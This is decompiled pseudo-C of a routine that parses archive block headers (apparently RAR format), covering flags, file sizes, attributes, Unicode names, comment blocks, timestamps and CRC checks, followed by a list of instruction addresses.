					_t344 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x6558) = _t344;
					 *(_t509 + 0x6550) = _t677;
					__eflags = _t344 - 7;
					if(__eflags >= 0) {
						_t677 = _t677 - 0x73;
						__eflags = _t677;
						_t652 = 3;
						if(_t677 == 0) {
							 *(_t509 + 0x6550) = 1;
						} else {
							_t677 = _t677 - 1;
							__eflags = _t677;
							if(_t677 == 0) {
								 *(_t509 + 0x6550) = 2;
							} else {
								_t677 = _t677 - 6;
								__eflags = _t677;
								if(_t677 == 0) {
									 *(_t509 + 0x6550) = _t652;
								} else {
									_t677 = _t677 - 1;
									__eflags = _t677;
									if(_t677 == 0) {
										 *(_t509 + 0x6550) = 5;
									}
								}
							}
						}
						_t521 =  *(_t509 + 0x6550);
						 *(_t509 + 0x6544) = _t521;
						__eflags = _t521 - 0x75;
						if(_t521 != 0x75) {
							__eflags = _t521 - 1;
							if(_t521 != 1) {
								L26:
								_t345 = _t344 + 0xfffffff9;
								__eflags = _t345;
								_push(_t345);
								L27:
								E0040B4C8(_t685 - 0x48, _t652);
								_t347 = E004010D4(_t509,  *(_t509 + 0x6558));
								asm("adc ecx, [ebx+0xb044]");
								 *((intOrPtr*)(_t509 + 0xb048)) = _t347 +  *((intOrPtr*)(_t509 + 0xb040));
								_t349 =  *(_t509 + 0x6550);
								 *((intOrPtr*)(_t509 + 0xb04c)) = 0;
								__eflags = _t349 - 1;
								if(__eflags == 0) {
									_t653 = _t509 + 0x6570;
									E00409B19(_t653);
									_t526 = 5;
									memcpy(_t653, _t509 + 0x654c, _t526 << 2);
									 *(_t509 + 0x6584) = E0040B57A(_t685 - 0x48);
									_t677 = E0040B5AF(_t685 - 0x48);
									_t530 = _t509 + 0x6578;
									_t531 =  *_t530;
									 *(_t509 + 0xb055) =  *_t530 & 0x00000001;
									 *(_t509 + 0xb054) = _t531 >> 0x00000003 & 0x00000001;
									 *(_t509 + 0xb057) = _t531 >> 0x00000002 & 0x00000001;
									 *(_t509 + 0xb05b) = _t531 >> 0x00000006 & 0x00000001;
									 *(_t509 + 0x6588) = _t677;
									 *(_t509 + 0xb05c) = _t531 >> 0x00000007 & 0x00000001;
									__eflags = _t677;
									if(_t677 != 0) {
										L114:
										_t369 = 1;
										__eflags = 1;
										L115:
										 *((char*)(_t509 + 0xb058)) = _t369;
										 *(_t509 + 0x658c) = _t531 >> 0x00000001 & 0x00000001;
										_t533 = _t531 >> 0x00000004 & 0x00000001;
										__eflags = _t533;
										 *(_t509 + 0xb059) = _t531 >> 0x00000008 & 0x00000001;
										 *(_t509 + 0xb05a) = _t533;
										L116:
										_t650 = 0;
										_t376 = E0040B6E6(_t685 - 0x48, 0);
										__eflags =  *(_t509 + 0x654c) - (_t376 & 0x0000ffff);
										if( *(_t509 + 0x654c) == (_t376 & 0x0000ffff)) {
											L128:
											__eflags =  *((intOrPtr*)(_t509 + 0xb04c)) -  *((intOrPtr*)(_t509 + 0xb044));
											if(__eflags > 0) {
												L131:
												_t680 =  *((intOrPtr*)(_t685 - 0x34));
												__eflags =  *((intOrPtr*)(_t685 - 0x48)) - _t650;
												if(__eflags != 0) {
													_push( *((intOrPtr*)(_t685 - 0x48)));
													E0041A506(_t509, _t650, _t680, __eflags);
												}
												_t334 = _t680;
												goto L134;
											}
											if(__eflags < 0) {
												goto L13;
											}
											__eflags =  *((intOrPtr*)(_t509 + 0xb048)) -  *((intOrPtr*)(_t509 + 0xb040));
											if(__eflags <= 0) {
												goto L13;
											}
											goto L131;
										}
										_t382 =  *(_t509 + 0x6550);
										__eflags = _t382 - 0x79;
										if(_t382 == 0x79) {
											goto L128;
										}
										__eflags = _t382 - 0x76;
										if(_t382 == 0x76) {
											goto L128;
										}
										__eflags = _t382 - 5;
										if(_t382 != 5) {
											L126:
											 *((char*)(_t509 + 0xb064)) = 1;
											E004062BA(0x4335ac, 3);
											__eflags =  *((char*)(_t685 - 0xe));
											if( *((char*)(_t685 - 0xe)) == 0) {
												goto L128;
											}
											E0040639F(4, _t509 + 0x1e, _t509 + 0x1e);
											 *((char*)(_t509 + 0xb065)) = 1;
											goto L6;
										}
										__eflags =  *(_t509 + 0x8906);
										if( *(_t509 + 0x8906) == 0) {
											goto L126;
										}
										E0040117B(_t685 - 0x58, _t644, _t509);
										 *((char*)(_t685 - 4)) = 1;
										_t388 =  *((intOrPtr*)( *_t509 + 0x10))();
										_t681 = 7;
										_t389 = _t388 - _t681;
										__eflags = _t389;
										asm("sbb edx, edi");
										 *((intOrPtr*)( *_t509 + 0xc))(_t389, _t644, 0);
										 *((char*)(_t685 - 0xd)) = 1;
										do {
											_t392 = E00408C2F(_t509);
											__eflags = _t392;
											if(_t392 != 0) {
												 *((char*)(_t685 - 0xd)) = 0;
											}
											_t681 = _t681 - 1;
											__eflags = _t681;
										} while (_t681 != 0);
										 *((char*)(_t685 - 4)) = 0;
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t685 - 0x58)))) + 0xc))( *((intOrPtr*)(_t685 - 0x50)),  *(_t685 - 0x4c), _t650);
										__eflags =  *((char*)(_t685 - 0xd));
										if( *((char*)(_t685 - 0xd)) != 0) {
											goto L128;
										}
										goto L126;
									}
									_t369 = 0;
									__eflags =  *(_t509 + 0x6584);
									if( *(_t509 + 0x6584) == 0) {
										goto L115;
									}
									goto L114;
								}
								if(__eflags <= 0) {
									L110:
									__eflags =  *(_t509 + 0x6554) & 0x00008000;
									if(( *(_t509 + 0x6554) & 0x00008000) != 0) {
										 *((intOrPtr*)(_t509 + 0xb048)) =  *((intOrPtr*)(_t509 + 0xb048)) + E0040B5AF(_t685 - 0x48);
										asm("adc dword [ebx+0xb04c], 0x0");
									}
									goto L116;
								}
								__eflags = _t349 - _t652;
								if(_t349 <= _t652) {
									__eflags = _t349 - 2;
									 *((char*)(_t685 - 0xd)) = _t349 == 2;
									__eflags =  *((char*)(_t685 - 0xd));
									_t396 = _t509 + 0x65e8;
									if( *((char*)(_t685 - 0xd)) == 0) {
										_t396 = _t509 + 0x8928;
									}
									_t656 = _t396;
									 *(_t685 - 0x14) = _t396;
									E00409B44(_t656, 0);
									_t545 = 5;
									memcpy(_t656, _t509 + 0x654c, _t545 << 2);
									_t683 =  *(_t685 - 0x14);
									 *(_t683 + 0x1088) =  *(_t683 + 8) & 0x00000001;
									_t401 =  *(_t683 + 8);
									 *(_t683 + 0x1089) = _t401 >> 0x00000001 & 0x00000001;
									 *(_t683 + 0x108b) = _t401 >> 0x00000002 & 0x00000001;
									__eflags =  *((char*)(_t685 - 0xd));
									 *(_t683 + 0x1090) = _t401 >> 0x0000000a & 0x00000001;
									if( *((char*)(_t685 - 0xd)) == 0) {
										L40:
										_t556 = 0;
										__eflags = 0;
										goto L41;
									} else {
										__eflags = _t401 & 0x00000010;
										if((_t401 & 0x00000010) == 0) {
											goto L40;
										}
										_t556 = 1;
										L41:
										__eflags =  *((char*)(_t685 - 0xd));
										_t677 =  *(_t685 - 0x14);
										 *((char*)(_t677 + 0x10e0)) = _t556;
										if( *((char*)(_t685 - 0xd)) != 0) {
											L44:
											_t557 = 0;
											__eflags = 0;
											L45:
											 *((char*)(_t677 + 0x10ea)) = _t557;
											_t559 = _t401 & 0x000000e0;
											__eflags = _t559 - 0xe0;
											_t560 = _t559 & 0xffffff00 | _t559 == 0x000000e0;
											 *(_t677 + 0x10e1) = _t560;
											__eflags = _t560;
											if(_t560 == 0) {
												_t646 = 0x10000 << (_t401 >> 0x00000005 & 0x00000007);
												__eflags = 0x10000;
											} else {
												_t646 = 0;
											}
											 *(_t677 + 0x10e2) = _t401 >> 0x00000003 & 0x00000001;
											 *(_t677 + 0x10e4) = _t646;
											 *(_t677 + 0x10e3) = _t401 >> 0x0000000b & 0x00000001;
											 *((intOrPtr*)(_t677 + 0x14)) = E0040B5AF(_t685 - 0x48);
											 *(_t685 - 0x1c) = E0040B5AF(_t685 - 0x48);
											_t406 = E0040B562(_t685 - 0x48);
											_t659 = 2;
											 *((char*)(_t677 + 0x18)) = _t406;
											 *(_t677 + 0x1060) = _t659;
											 *((intOrPtr*)(_t677 + 0x1064)) = E0040B5AF(_t685 - 0x48);
											 *(_t685 - 0x20) = E0040B5AF(_t685 - 0x48);
											 *(_t677 + 0x19) = E0040B562(_t685 - 0x48);
											 *((char*)(_t677 + 0x1a)) = E0040B562(_t685 - 0x48) - 0x30;
											 *(_t685 - 0x14) = E0040B57A(_t685 - 0x48) & 0x0000ffff;
											_t414 = E0040B5AF(_t685 - 0x48);
											 *(_t677 + 0x108c) =  *(_t677 + 0x108c) & 0x00000000;
											__eflags =  *((char*)(_t677 + 0x108b));
											 *(_t677 + 0x1c) = _t414;
											if( *((char*)(_t677 + 0x108b)) == 0) {
												L57:
												_t644 =  *((intOrPtr*)(_t677 + 0x18));
												 *(_t677 + 0x10ec) = _t659;
												__eflags = _t644 - 3;
												if(_t644 == 3) {
													L61:
													 *(_t677 + 0x10ec) = 1;
													L62:
													_t660 = 0;
													_t576 = _t677 + 0x10f0;
													 *_t576 = 0;
													__eflags = _t644 - 3;
													if(_t644 == 3) {
														_t644 = _t414 & 0x0000f000;
														__eflags = _t644 - 0xa000;
														if(_t644 == 0xa000) {
															 *_t576 = 1;
															__eflags = 0;
															 *((short*)(_t677 + 0x10f4)) = 0;
														}
													}
													__eflags =  *((char*)(_t685 - 0xd));
													if( *((char*)(_t685 - 0xd)) != 0) {
														L68:
														_t415 = 0;
														__eflags = 0;
														goto L69;
													} else {
														__eflags = _t414;
														if(_t414 >= 0) {
															goto L68;
														}
														_t415 = 1;
														L69:
														 *((char*)(_t677 + 0x10e8)) = _t415;
														_t418 =  *(_t677 + 8) >> 0x00000008 & 0x00000001;
														__eflags = _t418;
														 *(_t677 + 0x10e9) = _t418;
														if(_t418 == 0) {
															__eflags =  *(_t685 - 0x1c) - 0xffffffff;
															 *((intOrPtr*)(_t685 - 0x18)) = _t660;
															_t131 =  *(_t685 - 0x1c) == 0xffffffff;
															__eflags = _t131;
															_t419 = _t418 & 0xffffff00 | _t131;
															L75:
															 *(_t677 + 0x108a) = _t419;
															_t420 = E0041ABD0(_t660, 0, 0, 1);
															asm("adc edx, edi");
															 *((intOrPtr*)(_t677 + 0x1048)) = _t420 +  *((intOrPtr*)(_t677 + 0x14));
															 *(_t677 + 0x104c) = _t644;
															_t422 = E0041ABD0( *((intOrPtr*)(_t685 - 0x18)), 0, 0, 1);
															asm("adc edx, ecx");
															 *(_t677 + 0x1050) = _t422 +  *(_t685 - 0x1c);
															 *(_t677 + 0x1054) = _t644;
															__eflags =  *(_t677 + 0x108a);
															if( *(_t677 + 0x108a) != 0) {
																 *(_t677 + 0x1050) = 0x7fffffff;
																 *(_t677 + 0x1054) = 0x7fffffff;
															}
															_t662 = 0x1fff;
															__eflags =  *(_t685 - 0x14) - 0x1fff;
															if( *(_t685 - 0x14) < 0x1fff) {
																_t662 =  *(_t685 - 0x14);
															}
															E0040B696(_t685 - 0x48, _t685 - 0x2880, _t662);
															__eflags =  *((char*)(_t685 - 0xd));
															 *((char*)(_t685 + _t662 - 0x2880)) = 0;
															if( *((char*)(_t685 - 0xd)) == 0) {
																 *((intOrPtr*)(_t685 - 0x18)) = _t677 + 0x20;
																E00411B3C(_t685 - 0x2880, _t677 + 0x20, 0x800);
																_t665 =  *((intOrPtr*)(_t677 + 0xc)) -  *(_t685 - 0x14) - 0x20;
																__eflags =  *(_t677 + 8) & 0x00000400;
																if(( *(_t677 + 8) & 0x00000400) != 0) {
																	_t665 = _t665 - 8;
																	__eflags = _t665;
																}
																__eflags = _t665;
																if(_t665 > 0) {
																	E00401C1D(_t677 + 0x1020, _t665);
																	E0040B696(_t685 - 0x48,  *((intOrPtr*)(_t677 + 0x1020)), _t665);
																	_t461 = E0041AA21( *((intOrPtr*)(_t685 - 0x18)), 0x42a494);
																	__eflags = _t461;
																	if(_t461 == 0) {
																		_t644 =  *( *((intOrPtr*)(_t677 + 0x1020)) + 9) & 0x000000ff;
																		 *(_t509 + 0x652c) =  *(_t509 + 0x652c) & 0x00000000;
																		 *((intOrPtr*)(_t509 + 0x6528)) = E0041ABD0((((( *( *((intOrPtr*)(_t677 + 0x1020)) + 0xb) & 0x000000ff) << 8) + ( *( *((intOrPtr*)(_t677 + 0x1020)) + 0xa) & 0x000000ff) << 8) + _t644 << 8) + ( *( *((intOrPtr*)(_t677 + 0x1020)) + 8) & 0x000000ff),  *(_t509 + 0x652c), 0x200, 0);
																		 *(_t509 + 0x652c) = _t644;
																		 *((intOrPtr*)(_t685 - 0x28)) =  *((intOrPtr*)( *_t509 + 0x10))();
																		 *(_t685 - 0x24) = _t644;
																		_t468 = E00410B07( *((intOrPtr*)(_t509 + 0x6528)),  *(_t509 + 0x652c), _t467, _t644);
																		 *(_t509 + 0x6530) = _t468;
																		_t670 = _t468;
																		_t469 = E0041AB20( *((intOrPtr*)(_t685 - 0x28)),  *(_t685 - 0x24), 0xc8, 0);
																		asm("adc edx, [ebx+0x652c]");
																		_t471 = E00410B07(_t469 +  *((intOrPtr*)(_t509 + 0x6528)), _t644,  *((intOrPtr*)(_t685 - 0x28)),  *(_t685 - 0x24));
																		__eflags = _t471 - _t670;
																		if(_t471 > _t670) {
																			_t671 = _t670 + 1;
																			__eflags = _t671;
																			 *(_t509 + 0x6530) = _t671;
																		}
																	}
																}
																_t429 = E0041AA21( *((intOrPtr*)(_t685 - 0x18)), "CMT");
																__eflags = _t429;
																if(_t429 == 0) {
																	 *((char*)(_t509 + 0xb056)) = 1;
																}
															} else {
																__eflags =  *(_t677 + 8) & 0x00000200;
																if(( *(_t677 + 8) & 0x00000200) == 0) {
																	_t472 = _t677 + 0x20;
																	_t609 = 0;
																	__eflags = 0;
																	 *((intOrPtr*)(_t685 - 0x18)) = _t472;
																	 *_t472 = 0;
																} else {
																	E0040612E(_t685 - 0x5c);
																	_t481 = E0041AA60(_t685 - 0x2880);
																	 *((intOrPtr*)(_t685 - 0x18)) = _t677 + 0x20;
																	_t609 = _t685 - 0x5c;
																	E0040613F(_t685 - 0x5c, _t685 - 0x2880, _t685 + _t481 + 1 - 0x2880,  *(_t685 - 0x14) - _t481 + 1, _t677 + 0x20, 0x800);
																}
																E00410B32(_t685 - 0x2880, _t685 - 0x880, 0x800);
																E0040A386(_t609, _t685 - 0x880,  *((intOrPtr*)(_t685 - 0x18)),  *((intOrPtr*)(_t685 - 0x18)), 0x800);
																E00401A7E(_t509, _t677);
															}
															__eflags =  *(_t677 + 8) & 0x00000400;
															if(( *(_t677 + 8) & 0x00000400) != 0) {
																E0040B696(_t685 - 0x48, _t677 + 0x1091, 8);
															}
															E00411650( *(_t685 - 0x20));
															__eflags =  *(_t677 + 8) & 0x00001000;
															if(( *(_t677 + 8) & 0x00001000) == 0) {
																L107:
																 *((intOrPtr*)(_t509 + 0xb048)) =  *((intOrPtr*)(_t509 + 0xb048)) +  *((intOrPtr*)(_t677 + 0x1048));
																asm("adc [ebx+0xb04c], eax");
																 *(_t685 - 0x24) =  *(_t677 + 0x10e2);
																_t434 = E0040B6E6(_t685 - 0x48,  *(_t685 - 0x24));
																__eflags =  *_t677 - (_t434 & 0x0000ffff);
																if( *_t677 != (_t434 & 0x0000ffff)) {
																	 *((char*)(_t509 + 0xb064)) = 1;
																	E004062BA(0x4335ac, 1);
																	__eflags =  *((char*)(_t685 - 0xe));
																	if( *((char*)(_t685 - 0xe)) == 0) {
																		E0040639F(0x1a, _t509 + 0x1e,  *((intOrPtr*)(_t685 - 0x18)));
																	}
																}
																goto L116;
															} else {
																_t439 = E0040B57A(_t685 - 0x48);
																 *(_t685 - 0x4c) =  *(_t685 - 0x4c) & 0x00000000;
																_t217 = _t685 - 0x14;
																 *_t217 =  *(_t685 - 0x14) & 0x00000000;
																__eflags =  *_t217;
																 *((intOrPtr*)(_t685 - 0x58)) = _t509 + 0x7618;
																 *((intOrPtr*)(_t685 - 0x54)) = _t509 + 0x7620;
																 *((intOrPtr*)(_t685 - 0x50)) = _t509 + 0x7628;
																 *(_t685 - 0x24) = _t439 & 0xffff;
																 *(_t685 - 0x1c) = 0xc;
																do {
																	_t666 =  *(_t685 +  *(_t685 - 0x14) * 4 - 0x58);
																	_t444 =  *(_t685 - 0x24) >>  *(_t685 - 0x1c);
																	 *(_t685 - 0x20) = _t444;
																	__eflags = _t444 & 0x00000008;
																	if((_t444 & 0x00000008) == 0) {
																		goto L106;
																	}
																	__eflags = _t666;
																	if(_t666 == 0) {
																		goto L106;
																	}
																	__eflags =  *(_t685 - 0x14);
																	if( *(_t685 - 0x14) != 0) {
																		E00411650(E0040B5AF(_t685 - 0x48));
																	}
																	E004113F1(_t666, _t685 - 0x80);
																	__eflags =  *(_t685 - 0x20) & 0x00000004;
																	if(( *(_t685 - 0x20) & 0x00000004) != 0) {
																		_t242 = _t685 - 0x6c;
																		 *_t242 =  *(_t685 - 0x6c) + 1;
																		__eflags =  *_t242;
																	}
																	 *(_t685 - 0x68) =  *(_t685 - 0x68) & 0x00000000;
																	_t448 =  *(_t685 - 0x20) & 0x00000003;
																	__eflags = _t448;
																	if(_t448 <= 0) {
																		L105:
																		E00411541( *(_t685 +  *(_t685 - 0x14) * 4 - 0x58), _t685 - 0x80);
																	} else {
																		_t667 = 3;
																		_t669 = _t667 - _t448 << 3;
																		__eflags = _t669;
																		 *(_t685 - 0x20) = _t448;
																		do {
																			_t454 = (E0040B562(_t685 - 0x48) & 0x000000ff) << _t669;
																			_t669 = _t669 + 8;
																			 *(_t685 - 0x68) =  *(_t685 - 0x68) | _t454;
																			_t251 = _t685 - 0x20;
																			 *_t251 =  *(_t685 - 0x20) - 1;
																			__eflags =  *_t251;
																		} while ( *_t251 != 0);
																		goto L105;
																	}
																	L106:
																	 *(_t685 - 0x1c) =  *(_t685 - 0x1c) - 4;
																	 *(_t685 - 0x14) =  *(_t685 - 0x14) + 1;
																	__eflags =  *(_t685 - 0x1c) - 0xfffffffc;
																} while ( *(_t685 - 0x1c) > 0xfffffffc);
																goto L107;
															}
														}
														_t660 = E0040B5AF(_t685 - 0x48);
														_t488 = E0040B5AF(_t685 - 0x48);
														__eflags =  *(_t685 - 0x1c) - 0xffffffff;
														 *((intOrPtr*)(_t685 - 0x18)) = _t488;
														if( *(_t685 - 0x1c) != 0xffffffff) {
															L73:
															_t419 = 0;
															goto L75;
														}
														__eflags = _t488 - 0xffffffff;
														if(_t488 != 0xffffffff) {
															goto L73;
														}
														_t419 = 1;
														goto L75;
													}
												}
												__eflags = _t644 - 5;
												if(_t644 == 5) {
													goto L61;
												}
												__eflags = _t644 - 6;
												if(_t644 < 6) {
													 *(_t677 + 0x10ec) =  *(_t677 + 0x10ec) & 0x00000000;
												}
												goto L62;
											} else {
												_t620 = ( *(_t677 + 0x19) & 0x000000ff) - 0xd;
												__eflags = _t620;
												if(_t620 == 0) {
													 *(_t677 + 0x108c) = 1;
													goto L57;
												}
												_t621 = _t620 - _t659;
												__eflags = _t621;
												if(_t621 == 0) {
													 *(_t677 + 0x108c) = _t659;
													goto L57;
												}
												_t622 = _t621 - 5;
												__eflags = _t622;
												if(_t622 == 0) {
													L54:
													 *(_t677 + 0x108c) = 3;
													goto L57;
												}
												__eflags = _t622 == 6;
												if(_t622 == 6) {
													goto L54;
												}
												 *(_t677 + 0x108c) = 4;
												goto L57;
											}
										}
										__eflags = _t401 & 0x00000010;
										if((_t401 & 0x00000010) == 0) {
											goto L44;
										}
										_t557 = 1;
										goto L45;
									}
								}
								__eflags = _t349 - 5;
								if(_t349 != 5) {
									goto L110;
								} else {
									_push(_t349);
									_t492 = memcpy(_t509 + 0x88e8, _t509 + 0x654c, 0 << 2);
									_t676 =  *_t492;
									 *(_t509 + 0x8904) =  *_t492 & 0x00000001;
									 *(_t509 + 0x8906) = _t676 >> 0x00000002 & 0x00000001;
									_t495 = _t676 >> 0x00000001 & 0x00000001;
									_t677 = _t509 + 0x8907;
									 *(_t509 + 0x8905) = _t495;
									 *_t677 = _t676 >> 0x00000003 & 0x00000001;
									__eflags = _t495;
									if(_t495 != 0) {
										 *((intOrPtr*)(_t509 + 0x88fc)) = E0040B5AF(_t685 - 0x48);
									}
									__eflags =  *_t677;
									if( *_t677 != 0) {
										_t497 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
										 *(_t509 + 0x8900) = _t497;
										 *(_t509 + 0xb078) = _t497;
									}
									goto L116;
								}
							}
							__eflags =  *(_t509 + 0x6554) & 0x00000002;
							if(( *(_t509 + 0x6554) & 0x00000002) != 0) {
								goto L23;
							}
							goto L26;
						}
						L23:
						_push(6);
						goto L27;
					}
					L13:
					E00401C80(_t509);
					goto L6;
				}
				_t644 =  *(__ecx + 0xb044);
				_t500 =  *((intOrPtr*)(__ecx + 0xb060)) + 7;
				asm("adc ecx, edi");
				_t694 = _t644;
				if(_t694 < 0 || _t694 <= 0 &&  *((intOrPtr*)(__ecx + 0xb040)) <= _t500) {
					goto L9;
				} else {
					 *((char*)(_t685 - 0xe)) = 1;
					E00401BBB(_t509);
					_t503 =  *((intOrPtr*)( *_t509 + 8))(_t685 - 0x28, 8);
					_t696 = _t503 - 8;
					if(_t503 == 8) {
						__eflags =  *((intOrPtr*)(_t509 + 0x6524)) + 0x4024;
						_t677 = _t509 + 0x1024;
						E00405FE7(_t677, _t644, _t650, 4,  *((intOrPtr*)(_t509 + 0x6524)) + 0x4024, _t685 - 0x28, _t650, _t650, _t650, _t650);
						 *(_t685 - 0x2c) = _t677;
						goto L11;
					}
					goto L5;
				}
			}

0x00401cc6
0x00401cd0
0x00401cd6
0x00401cd7
0x00401cde
0x00401ce3
0x00401cec
0x00401cef
0x00401d4d
0x00401d4d
0x00401d7a
0x00401d7f
0x00401d84
0x00401d87
0x00401d31
0x00401d33
0x00401d38
0x00401d38
0x00401d3b
0x00401d3d
0x00401d40
0x00401d45
0x00401d46
0x0040271f
0x00402725
0x0040272d
0x0040272d
0x00401d97
0x00401d9d
0x00401dac
0x00401db4
0x00401db7
0x00401dc5
0x00401dd0
0x00401dd3
0x00401dd9
0x00401ddf
0x00401de2
0x00401df0
0x00401df0
0x00401df5
0x00401df6
0x00401e23
0x00401df8
0x00401df8
0x00401df8
0x00401df9
0x00401e17
0x00401dfb
0x00401dfb
0x00401dfb
0x00401dfe
0x00401e0f
0x00401e00
0x00401e00
0x00401e00
0x00401e01
0x00401e03
0x00401e03
0x00401e01
0x00401dfe
0x00401df9
0x00401e2d
0x00401e33
0x00401e39
0x00401e3c
0x00401e42
0x00401e45
0x00401e50
0x00401e50
0x00401e50
0x00401e53
0x00401e54
0x00401e57
0x00401e64
0x00401e71
0x00401e77
0x00401e7d
0x00401e83
0x00401e89
0x00401e8c
0x00402567
0x0040256f
0x00402576
0x0040257d
0x0040258a
0x00402596
0x00402598
0x004025a0
0x004025a4
0x004025b1
0x004025be
0x004025cb
0x004025d8
0x004025de
0x004025e4
0x004025e6
0x004025f3
0x004025f5
0x004025f5
0x004025f6
0x004025f6
0x00402602
0x00402612
0x00402612
0x00402615
0x0040261b
0x00402621
0x00402621
0x00402627
0x0040262f
0x00402635
0x004026e6
0x004026ec
0x004026f2
0x0040270c
0x0040270c
0x0040270f
0x00402712
0x00402714
0x00402717
0x0040271c
0x0040271d
0x00000000
0x0040271d
0x004026f4
0x00000000
0x00000000
0x00402700
0x00402706
0x00000000
0x00000000
0x00000000
0x00402706
0x0040263b
0x00402641
0x00402644
0x00000000
0x00000000
0x0040264a
0x0040264d
0x00000000
0x00000000
0x00402653
0x00402656
0x004026b5
0x004026bc
0x004026c3
0x004026c8
0x004026cc
0x00000000
0x00000000
0x004026d5
0x004026da
0x00000000
0x004026da
0x00402658
0x0040265f
0x00000000
0x00000000
0x00402665
0x0040266e
0x00402672
0x00402678
0x00402679
0x00402679
0x0040267b
0x00402683
0x00402686
0x0040268a
0x0040268c
0x00402691
0x00402693
0x00402695
0x00402695
0x00402699
0x00402699
0x00402699
0x004026a5
0x004026ac
0x004026af
0x004026b3
0x00000000
0x00000000
0x00000000
0x004026b3
0x004025e8
0x004025ea
0x004025f1
0x00000000
0x00000000
0x00000000
0x004025f1
0x00401e92
0x0040253d
0x0040253d
0x00402547
0x00402555
0x0040255b
0x0040255b
0x00000000
0x00402547
0x00401e98
0x00401e9a
0x00401f2d
0x00401f30
0x00401f34
0x00401f38
0x00401f3e
0x00401f40
0x00401f40
0x00401f46
0x00401f4c
0x00401f4f
0x00401f56
0x00401f5d
0x00401f5f
0x00401f67
0x00401f6d
0x00401f77
0x00401f85
0x00401f93
0x00401f97
0x00401f9d
0x00401fa8
0x00401fa8
0x00401fa8
0x00000000
0x00401f9f
0x00401f9f
0x00401fa1
0x00000000
0x00000000
0x00401fa5
0x00401faa
0x00401faa
0x00401fae
0x00401fb1
0x00401fb7
0x00401fc2
0x00401fc2
0x00401fc2
0x00401fc4
0x00401fc4
0x00401fcc
0x00401fd2
0x00401fd5
0x00401fd8
0x00401fde
0x00401fe0
0x00401ff3
0x00401ff3
0x00401fe2
0x00401fe2
0x00401fe2
0x00402000
0x0040200b
0x00402011
0x0040201f
0x0040202a
0x0040202d
0x00402034
0x00402038
0x0040203b
0x00402049
0x00402057
0x00402062
0x0040206f
0x0040207d
0x00402080
0x00402085
0x0040208c
0x00402093
0x00402096
0x004020d9
0x004020d9
0x004020dc
0x004020e2
0x004020e5
0x004020fa
0x004020fa
0x00402104
0x00402104
0x00402106
0x0040210c
0x0040210e
0x00402111
0x00402115
0x0040211b
0x00402121
0x00402123
0x00402129
0x0040212b
0x0040212b
0x00402121
0x00402132
0x00402136
0x00402141
0x00402141
0x00402141
0x00000000
0x00402138
0x00402138
0x0040213a
0x00000000
0x00000000
0x0040213e
0x00402143
0x00402143
0x0040214f
0x0040214f
0x00402151
0x00402157
0x00402182
0x00402186
0x00402189
0x00402189
0x00402189
0x0040218c
0x00402193
0x00402199
0x004021ac
0x004021ae
0x004021b4
0x004021ba
0x004021c4
0x004021c6
0x004021cc
0x004021d2
0x004021d8
0x004021df
0x004021e5
0x004021e5
0x004021eb
0x004021f0
0x004021f3
0x004021f5
0x004021f5
0x00402203
0x00402208
0x0040220c
0x00402214
0x004022ad
0x004022b7
0x004022c2
0x004022c5
0x004022cc
0x004022ce
0x004022ce
0x004022ce
0x004022d1
0x004022d3
0x004022e0
0x004022ef
0x004022fc
0x00402303
0x00402305
0x00402321
0x00402328
0x0040234c
0x00402356
0x00402367
0x00402370
0x00402373
0x0040237b
0x00402384
0x00402393
0x0040239e
0x004023a6
0x004023ab
0x004023ad
0x004023af
0x004023af
0x004023b0
0x004023b0
0x004023ad
0x00402305
0x004023be
0x004023c5
0x004023c7
0x004023c9
0x004023c9
0x0040221a
0x0040221a
0x00402226
0x00402265
0x00402268
0x00402268
0x0040226a
0x0040226d
0x00402228
0x0040222b
0x00402237
0x00402242
0x0040225b
0x0040225e
0x0040225e
0x0040227f
0x00402292
0x0040229a
0x0040229a
0x004023d0
0x004023d7
0x004023e5
0x004023e5
0x004023f3
0x004023f8
0x004023ff
0x004024d6
0x004024dc
0x004024eb
0x004024f7
0x004024fd
0x00402505
0x00402507
0x00402514
0x0040251b
0x00402520
0x00402524
0x00402533
0x00402533
0x00402524
0x00000000
0x00402405
0x00402408
0x0040240d
0x00402411
0x00402411
0x00402411
0x0040241e
0x0040242a
0x00402433
0x00402436
0x00402439
0x00402440
0x00402443
0x0040244d
0x0040244f
0x00402452
0x00402454
0x00000000
0x00000000
0x00402456
0x00402458
0x00000000
0x00000000
0x0040245a
0x0040245e
0x0040246b
0x0040246b
0x00402476
0x0040247b
0x0040247f
0x00402481
0x00402481
0x00402481
0x00402481
0x00402487
0x0040248b
0x0040248b
0x0040248e
0x004024b5
0x004024c0
0x00402490
0x00402492
0x00402495
0x00402495
0x00402498
0x0040249b
0x004024a8
0x004024aa
0x004024ad
0x004024b0
0x004024b0
0x004024b0
0x004024b0
0x00000000
0x0040249b
0x004024c5
0x004024c5
0x004024c9
0x004024cc
0x004024cc
0x00000000
0x00402440
0x004023ff
0x00402164
0x00402166
0x0040216b
0x0040216f
0x00402172
0x0040217e
0x0040217e
0x00000000
0x0040217e
0x00402174
0x00402177
0x00000000
0x00000000
0x0040217b
0x00000000
0x0040217b
0x00402136
0x004020e7
0x004020ea
0x00000000
0x00000000
0x004020ec
0x004020ef
0x004020f1
0x004020f1
0x00000000
0x00402098
0x0040209c
0x0040209c
0x0040209f
0x004020cf
0x00000000
0x004020cf
0x004020a1
0x004020a1
0x004020a3
0x004020c7
0x00000000
0x004020c7
0x004020a5
0x004020a5
0x004020a8
0x004020bb
0x004020bb
0x00000000
0x004020bb
0x004020aa
0x004020ad
0x00000000
0x00000000
0x004020af
0x00000000
0x004020af
0x00402096
0x00401fb9
0x00401fbb
0x00000000
0x00000000
0x00401fbf
0x00000000
0x00401fbf
0x00401f9d
0x00401ea0
0x00401ea3
0x00000000
0x00401ea9
0x00401ea9
0x00401ebd
0x00401ec1
0x00401ec6
0x00401ed4
0x00401ee3
0x00401ee8
0x00401eee
0x00401ef4
0x00401ef6
0x00401ef8
0x00401f02
0x00401f02
0x00401f08
0x00401f0b
0x00401f19
0x00401f1c
0x00401f22
0x00401f22
0x00000000
0x00401f0b
0x00401ea3
0x00401e47
0x00401e4e
0x00000000
0x00000000
0x00000000
0x00401e4e
0x00401e3e
0x00401e3e
0x00000000
0x00401e3e
0x00401de4
0x00401de6
0x00000000
0x00401de6
0x00401cf7
0x00401cff
0x00401d02
0x00401d04
0x00401d06
0x00000000
0x00401d14
0x00401d16
0x00401d1a
0x00401d29
0x00401d2c
0x00401d2f
0x00401d61
0x00401d69
0x00401d72
0x00401d77
0x00000000
0x00401d77
0x00000000
